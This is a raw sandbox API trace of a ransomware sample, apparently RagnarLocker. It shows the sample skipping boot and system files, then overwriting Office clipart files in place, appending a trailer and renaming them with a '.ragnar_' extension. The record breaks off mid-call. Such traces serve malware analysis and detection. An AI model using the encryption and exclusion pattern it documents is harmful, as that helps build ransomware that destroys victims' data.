lstrcmpiW (lpString1="SO00212_.WMF", lpString2="bootmgr.efi") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="desktop.ini") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="iconcache.db") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="ntldr") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="ntuser.dat") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="ntuser.ini") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="thumbs.db") returned -1 [0090.741] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.741] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.741] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.741] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.741] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.741] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.741] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf")) returned 0x20 [0090.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.741] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20338) returned 1 [0090.741] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4f69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.741] GetProcessHeap () returned 0x580000 [0090.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.741] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.743] VirtualAlloc (lpAddress=0x0, dwSize=0x4f72, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.743] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4f72, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4f72, lpOverlapped=0x0) returned 1 [0090.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.744] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f72, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.744] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4f72, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4f72, lpOverlapped=0x0) returned 1 [0090.744] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f72, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.744] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.745] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4f72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.745] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.745] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.745] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.745] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.745] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.745] GetProcessHeap () returned 0x580000 [0090.745] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.745] CloseHandle (hObject=0xf4) returned 1 [0090.745] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" [0090.745] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.ragnar_FD7BD9FC" [0090.745] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.746] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00221_.WMF", cAlternateFileName="")) returned 1 [0090.746] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.746] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00221_.WMF" | out: lpString1="SO00221_.WMF") returned="SO00221_.WMF" [0090.746] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF") returned=".WMF" [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="autorun.inf") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="boot.ini") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="bootfont.bin") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="bootsect.bak") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="bootmgr") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="bootmgr.efi") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="desktop.ini") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="iconcache.db") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="ntldr") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="ntuser.dat") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="ntuser.ini") returned 1 [0090.746] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="thumbs.db") returned -1 [0090.746] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.746] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.747] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.747] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.747] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.747] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.747] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf")) returned 0x20 [0090.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.747] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8052) returned 1 [0090.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.747] GetProcessHeap () returned 0x580000 [0090.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.747] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.749] VirtualAlloc (lpAddress=0x0, dwSize=0x1f74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.749] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f74, lpOverlapped=0x0) returned 1 [0090.750] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.750] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f74, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.750] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f74, lpOverlapped=0x0) returned 1 [0090.750] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.750] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.750] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.750] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.750] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.751] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.751] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.751] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.751] GetProcessHeap () returned 0x580000 [0090.751] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.751] CloseHandle (hObject=0xf4) returned 1 [0090.751] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" [0090.751] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.ragnar_FD7BD9FC" [0090.751] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.752] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00222_.WMF", cAlternateFileName="")) returned 1 [0090.752] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.752] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00222_.WMF" | out: lpString1="SO00222_.WMF") returned="SO00222_.WMF" [0090.752] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF") returned=".WMF" [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="autorun.inf") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="boot.ini") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="bootfont.bin") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="bootsect.bak") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="bootmgr") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="bootmgr.efi") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="desktop.ini") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="iconcache.db") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="ntldr") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="ntuser.dat") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="ntuser.ini") returned 1 [0090.752] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="thumbs.db") returned -1 [0090.752] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.752] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.752] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.752] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.752] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.752] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.752] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf")) returned 0x20 [0090.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.753] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7772) returned 1 [0090.753] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.753] GetProcessHeap () returned 0x580000 [0090.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.753] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.755] VirtualAlloc (lpAddress=0x0, dwSize=0x1e5c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.755] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.755] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.755] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e5c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e5c, lpOverlapped=0x0) returned 1 [0090.756] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.756] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e5c, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.756] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e5c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e5c, lpOverlapped=0x0) returned 1 [0090.756] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e5c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.756] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.756] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.756] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.757] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.757] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.757] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.757] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.757] GetProcessHeap () returned 0x580000 [0090.757] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.757] CloseHandle (hObject=0xf4) returned 1 [0090.757] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" [0090.757] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.ragnar_FD7BD9FC" [0090.757] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.758] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3642, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00223_.WMF", cAlternateFileName="")) returned 1 [0090.758] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.758] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00223_.WMF" | out: lpString1="SO00223_.WMF") returned="SO00223_.WMF" [0090.758] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF") returned=".WMF" [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="autorun.inf") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="boot.ini") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="bootfont.bin") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="bootsect.bak") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="bootmgr") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="bootmgr.efi") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="desktop.ini") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="iconcache.db") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="ntldr") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="ntuser.dat") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="ntuser.ini") returned 1 [0090.758] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="thumbs.db") returned -1 [0090.758] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.758] lstrcmpiW 